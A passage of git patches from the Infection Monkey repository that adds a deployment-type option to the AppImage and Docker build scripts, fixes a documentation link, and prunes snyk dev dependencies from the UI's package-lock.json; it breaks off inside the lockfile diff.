14:13:26 +0200 Subject: [PATCH 165/454] Build_scripts: Add deployment type to the build_scripts --- build_scripts/appimage/appimage.sh | 4 +++- build_scripts/build_package.sh | 14 ++++++++++++-- build_scripts/common.sh | 5 +++++ build_scripts/docker/docker.sh | 1 + 4 files changed, 21 insertions(+), 3 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index d55418df7..20dbe7c97 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -1,7 +1,7 @@ #!/bin/bash LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" -PYTHON_VERSION="3.7.11" +PYTHON_VERSION="3.7.12" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" APPDIR="$APPIMAGE_DIR/squashfs-root" @@ -27,6 +27,7 @@ install_package_specific_build_prereqs() { setup_build_dir() { local agent_binary_dir=$1 local monkey_repo=$2 + local deployment_type=$3 pushd $APPIMAGE_DIR @@ -36,6 +37,7 @@ setup_build_dir() { copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR" copy_server_config_to_build_dir + modify_deployment "$deployment_type" "$BUILD_DIR" add_agent_binaries_to_build_dir "$agent_binary_dir" "$BUILD_DIR" install_monkey_island_python_dependencies diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index df16c4cd7..4cbe30b1a 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -20,6 +20,7 @@ exit_if_missing_argument() { echo_help() { echo "usage: build_package.sh [--help] [--agent-binary-dir ] [--branch ]" echo " [--monkey-repo ] [--version ]" + echo " [--deployment ]" echo "" echo "Creates a package for Infection Monkey." echo "" @@ -45,6 +46,9 @@ echo_help() { echo "--version A version number for the package." echo " (Default: dev)" echo "" + echo "--deployment A deployment type for the package." + echo " (Default: develop)" + echo "" echo "--package Which package to build (\"appimage\" or \"docker.\")" exit 0 @@ -108,7 +112,7 @@ branch="develop" monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" package="" - +deployment_type="develop" while (( "$#" )); do case "$1" in @@ -143,6 +147,12 @@ while (( "$#" )); do monkey_version=$2 shift 2 ;; + --deployment) + exit_if_missing_argument "$1" "$2" + + deployment_type=$2 + shift 2 + ;; --package) exit_if_missing_argument "$1" "$2" @@ -188,7 +198,7 @@ install_build_prereqs install_package_specific_build_prereqs "$WORKSPACE" -setup_build_dir "$agent_binary_dir" "$monkey_repo" +setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" build_package "$monkey_version" "$DIST_DIR" log_message "Finished building package: $package" diff --git a/build_scripts/common.sh b/build_scripts/common.sh index 85f794128..5e029433e 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -15,6 +15,11 @@ copy_monkey_island_to_build_dir() { "$src"/monkey_island "$build_dir/" } +modify_deployment() { + local deployment_file_path="$2/monkey_island/cc/deployment.json" + echo -e "{\n \"deployment\": \"$1\"\n}" > $deployment_file_path +} + add_agent_binaries_to_build_dir() { local agent_binary_dir=$1 local island_binaries_path="$2/monkey_island/cc/binaries/" diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index bf7e78cee..6f55ff6a0 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -18,6 +18,7 @@ setup_build_dir() { copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir" copy_server_config_to_build_dir "$build_dir" + modify_deployment "$deployment_type" "$build_dir" add_agent_binaries_to_build_dir "$agent_binary_dir" "$build_dir" generate_ssl_cert "$build_dir" From cfff225ad683b73e361fd6c0a03b5ba962f0fe80 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 15 Sep 2021 15:49:17 +0300 Subject: [PATCH 166/454] Change the docker and appImage deployment scripts to not alter the deployment string if no deployment argument is passed --- build_scripts/build_package.sh | 2 +- build_scripts/common.sh | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index 4cbe30b1a..eebae5d89 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -112,7 +112,7 @@ branch="develop" monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" package="" -deployment_type="develop" +deployment_type="" while (( "$#" )); do case "$1" in diff --git a/build_scripts/common.sh b/build_scripts/common.sh index 5e029433e..a8e7c190a 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -16,8 +16,10 @@ copy_monkey_island_to_build_dir() { } modify_deployment() { - local deployment_file_path="$2/monkey_island/cc/deployment.json" - echo -e "{\n \"deployment\": \"$1\"\n}" > $deployment_file_path + if [ -n "$1" ]; then + local deployment_file_path="$2/monkey_island/cc/deployment.json" + echo -e "{\n \"deployment\": \"$1\"\n}" > $deployment_file_path + fi } add_agent_binaries_to_build_dir() { From a93d6361a3ae51d693b3bd08f8ee1d69850ea717 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 16 Sep 2021 14:12:06 +0300 Subject: [PATCH 167/454] Docs: fix broken scenario link in homepage_shortcuts.html --- docs/layouts/shortcodes/homepage_shortcuts.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/layouts/shortcodes/homepage_shortcuts.html b/docs/layouts/shortcodes/homepage_shortcuts.html index 7ae2fdbd7..21241c59a 100644 --- a/docs/layouts/shortcodes/homepage_shortcuts.html +++ b/docs/layouts/shortcodes/homepage_shortcuts.html @@ -74,7 +74,7 @@
    - +

    Scenarios

    Learn about scenarios of the Infection Monkey.

    From 43b1201751b87fb48dae4578521985a291203a2c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Sep 2021 11:43:00 +0200 Subject: [PATCH 168/454] UI: Update node dependencies using npm audit fix --- monkey/monkey_island/cc/ui/package-lock.json | 4777 +---------------- monkey/monkey_island/cc/ui/package.json | 6 +- .../reactive-graph/ReactiveGraph.js | 2 +- 3 files changed, 89 insertions(+), 4696 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 5d197d078..740508662 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -4,15 +4,6 @@ "lockfileVersion": 1, "requires": true, "dependencies": { - "@arcanis/slice-ansi": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@arcanis/slice-ansi/-/slice-ansi-1.0.2.tgz", - "integrity": "sha512-lDL63z0W/L/WTgqrwVOuNyMAsTv+pvjybd21z9SWdStmQoXT59E/iVWwat3gYjcdTNBf6oHAMoyFm8dtjpXEYw==", - "dev": true, - "requires": { - "grapheme-splitter": "^1.0.4" - } - }, "@babel/cli": { "version": "7.13.14", "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.13.14.tgz", @@ -2661,12 +2652,6 @@ "to-fast-properties": "^2.0.0" } }, - "@deepcode/dcignore": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@deepcode/dcignore/-/dcignore-1.0.2.tgz", - "integrity": "sha512-DPgxtHuJwBORpqRkPXzzOT+uoPRVJmaN7LR+pmeL6DQM90kj6G6GFUH1i/YpRH8NbML8ZGEDwB9f9u4UwD2pzg==", - "dev": true - }, "@egjs/hammerjs": { "version": "2.0.17", "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", @@ -2908,30 +2893,6 @@ "fastq": "^1.6.0" } }, - "@octetstream/promisify": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@octetstream/promisify/-/promisify-2.0.2.tgz", - "integrity": "sha512-7XHoRB61hxsz8lBQrjC1tq/3OEIgpvGWg6DKAdwi7WRzruwkmsdwmOoUXbU4Dtd4RSOMDwed0SkP3y8UlMt1Bg==", - "dev": true - }, - "@open-policy-agent/opa-wasm": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@open-policy-agent/opa-wasm/-/opa-wasm-1.2.0.tgz", - "integrity": "sha512-CtUBTnzvDrT0NASa8IuGQTxFGgt2vxbLnMYuTA+uDFxOcA4uK4mGFgrhHJtxUZnWHiwemOvKKSY3BMCo7qiAsQ==", - "dev": true, - "requires": { - "sprintf-js": "^1.1.2", - "utf8": "^3.0.0" - }, - "dependencies": { - "sprintf-js": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", - "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", - "dev": true - } - } - }, "@popperjs/core": { "version": "2.9.2", "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.9.2.tgz", @@ -2951,754 +2912,6 @@ "lodash-es": "^4.17.20" } }, - "@sindresorhus/is": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-2.1.1.tgz", - "integrity": "sha512-/aPsuoj/1Dw/kzhkgz+ES6TxG0zfTMGLwuK2ZG00k/iJzYHTLCE8mVU8EPqEOp/lmxPoq1C1C9RYToRKb2KEfg==", - "dev": true - }, - "@snyk/cli-interface": { - "version": "2.11.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.11.0.tgz", - "integrity": "sha512-T3xfDqrEFKclHGdJx4/5+D5F7e76/99f33guE4RTlVITBhy7VVnjz4t/NDr3UYqcC0MgAmiC4bSVYHnlshuwJw==", - "dev": true, - "requires": { - "@types/graphlib": "^2" - } - }, - "@snyk/cocoapods-lockfile-parser": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.6.2.tgz", - "integrity": "sha512-ca2JKOnSRzYHJkhOB9gYmdRZHmd02b/uBd/S0D5W+L9nIMS7sUBV5jfhKwVgrYPIpVNIc0XCI9rxK4TfkQRpiA==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.23.1", - "@types/js-yaml": "^3.12.1", - "js-yaml": "^3.13.1", - "tslib": "^1.10.0" - } - }, - "@snyk/code-client": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/@snyk/code-client/-/code-client-3.4.0.tgz", - "integrity": "sha512-RY2IftAiWB7tp36Mcq7WiEwqoD8A/mqrD6N7oDWTxBOIqsH0t4djo/UibiWDJotaffO9aXXndOf3iZ/kTt+Rdg==", - "dev": true, - "requires": { - "@deepcode/dcignore": "^1.0.2", - "@snyk/fast-glob": "^3.2.6-patch", - "@types/flat-cache": "^2.0.0", - "@types/lodash.chunk": "^4.2.6", - "@types/lodash.omit": "^4.5.6", - "@types/lodash.union": "^4.6.6", - "@types/micromatch": "^4.0.1", - "@types/sarif": "^2.1.3", - "@types/uuid": "^8.3.0", - "axios": "^0.21.1", - "ignore": "^5.1.8", - "lodash.chunk": "^4.2.0", - "lodash.omit": "^4.5.0", - "lodash.union": "^4.6.0", - "micromatch": "^4.0.2", - "queue": "^6.0.1", - "uuid": "^8.3.2" - }, - "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "ignore": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", - "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", - "dev": true - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true - } - } - }, - "@snyk/composer-lockfile-parser": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.1.tgz", - "integrity": "sha512-wNANv235j95NFsQuODIXCiQZ9kcyg9fz92Kg1zoGvaP3kN/ma7fgCnvQL/dyml6iouQJR5aZovjhrrfEFoKtiQ==", - "dev": true, - "requires": { - "lodash.findkey": "^4.6.0", - "lodash.get": "^4.4.2", - "lodash.invert": "^4.3.0", - "lodash.isempty": "^4.4.0" - } - }, - "@snyk/dep-graph": { - "version": "1.28.0", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.28.0.tgz", - "integrity": "sha512-Oup9nAvb558jdNvbZah/vaBtOtCcizkdeS+OBQeBIqIffyer4mc4juSn4b1SFjCpu7AG7piio8Lj8k1B9ps6Tg==", - "dev": true, - "requires": { - "event-loop-spinner": "^2.1.0", - "lodash.clone": "^4.5.0", - "lodash.constant": "^3.0.0", - "lodash.filter": "^4.6.0", - "lodash.foreach": "^4.5.0", - "lodash.isempty": "^4.4.0", - "lodash.isequal": "^4.5.0", - "lodash.isfunction": "^3.0.9", - "lodash.isundefined": "^3.0.1", - "lodash.keys": "^4.2.0", - "lodash.map": "^4.6.0", - "lodash.reduce": "^4.6.0", - "lodash.size": "^4.2.0", - "lodash.transform": "^4.6.0", - "lodash.union": "^4.6.0", - "lodash.values": "^4.3.0", - "object-hash": "^2.0.3", - "semver": "^7.0.0", - "tslib": "^1.13.0" - }, - "dependencies": { - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "@snyk/docker-registry-v2-client": { - "version": "1.13.9", - "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.9.tgz", - "integrity": "sha512-DIFLEhr8m1GrAwsLGInJmpcQMacjuhf3jcbpQTR+LeMvZA9IuKq+B7kqw2O2FzMiHMZmUb5z+tV+BR7+IUHkFQ==", - "dev": true, - "requires": { - "needle": "^2.5.0", - "parse-link-header": "^1.0.1", - "tslib": "^1.10.0" - } - }, - "@snyk/fast-glob": { - "version": "3.2.6-patch", - "resolved": "https://registry.npmjs.org/@snyk/fast-glob/-/fast-glob-3.2.6-patch.tgz", - "integrity": "sha512-E/Pfdze/WFfxwyuTFcfhQN1SwyUsc43yuCoW63RVBCaxTD6OzhVD2Pvc/Sy7BjiWUfmelzyKkIBpoow8zZX7Zg==", - "dev": true, - "requires": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "@snyk/glob-parent": "^5.1.2-patch.1", - "merge2": "^1.3.0", - "micromatch": "^4.0.2", - "picomatch": "^2.2.1" - }, - "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - } - } - }, - "@snyk/fix": { - "version": "1.526.0", - "resolved": "https://registry.npmjs.org/@snyk/fix/-/fix-1.526.0.tgz", - "integrity": "sha512-+aMUNRhOdoN4YPGxXlN9+NwvKOr/DNBCGgC8DnNSujcJ9Nj1M8oHrnVoTy56/tgbJ8qyw/zwmCKAm383CfURKg==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.21.0", - "chalk": "4.1.0", - "debug": "^4.3.1", - "micromatch": "4.0.2", - "ora": "5.3.0", - "p-map": "^4.0.0", - "strip-ansi": "6.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.0.5" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "p-map": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", - "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", - "dev": true, - "requires": { - "aggregate-error": "^3.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - } - } - }, - "@snyk/gemfile": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz", - "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==", - "dev": true - }, - "@snyk/glob-parent": { - "version": "5.1.2-patch.1", - "resolved": "https://registry.npmjs.org/@snyk/glob-parent/-/glob-parent-5.1.2-patch.1.tgz", - "integrity": "sha512-OkUPdHgxIWKAAzceG1nraNA0kgI+eS0I9wph8tll9UL0slD2mIWSj4mAqroGovaEXm8nHedoUfuDRGEb6wnzCQ==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "@snyk/graphlib": { - "version": "2.1.9-patch.3", - "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.3.tgz", - "integrity": "sha512-bBY9b9ulfLj0v2Eer0yFYa3syVeIxVKl2EpxSrsVeT4mjA0CltZyHsF0JjoaGXP27nItTdJS5uVsj1NA+3aE+Q==", - "dev": true, - "requires": { - "lodash.clone": "^4.5.0", - "lodash.constant": "^3.0.0", - "lodash.filter": "^4.6.0", - "lodash.foreach": "^4.5.0", - "lodash.has": "^4.5.2", - "lodash.isempty": "^4.4.0", - "lodash.isfunction": "^3.0.9", - "lodash.isundefined": "^3.0.1", - "lodash.keys": "^4.2.0", - "lodash.map": "^4.6.0", - "lodash.reduce": "^4.6.0", - "lodash.size": "^4.2.0", - "lodash.transform": "^4.6.0", - "lodash.union": "^4.6.0", - "lodash.values": "^4.3.0" - } - }, - "@snyk/inquirer": { - "version": "7.3.3-patch", - "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-7.3.3-patch.tgz", - "integrity": "sha512-aWiQSOacH2lOpJ1ard9ErABcH4tdJogdr+mg1U67iZJOPO9n2gFgAwz1TQJDyPkv4/A5mh4hT2rg03Uq+KBn2Q==", - "dev": true, - "requires": { - "ansi-escapes": "^4.2.1", - "chalk": "^4.1.0", - "cli-cursor": "^3.1.0", - "cli-width": "^3.0.0", - "external-editor": "^3.0.3", - "figures": "^3.0.0", - "lodash.assign": "^4.2.0", - "lodash.assignin": "^4.2.0", - "lodash.clone": "^4.5.0", - "lodash.defaults": "^4.2.0", - "lodash.filter": "^4.6.0", - "lodash.find": "^4.6.0", - "lodash.findindex": "^4.6.0", - "lodash.flatten": "^4.4.0", - "lodash.isboolean": "^3.0.3", - "lodash.isfunction": "^3.0.9", - "lodash.isnumber": "^3.0.3", - "lodash.isplainobject": "^4.0.6", - "lodash.isstring": "^4.0.1", - "lodash.last": "^3.0.0", - "lodash.map": "^4.6.0", - "lodash.omit": "^4.5.0", - "lodash.set": "^4.3.2", - "lodash.sum": "^4.0.2", - "lodash.uniq": "^4.5.0", - "mute-stream": "0.0.8", - "run-async": "^2.4.0", - "rxjs": "^6.6.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0", - "through": "^2.3.6" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": 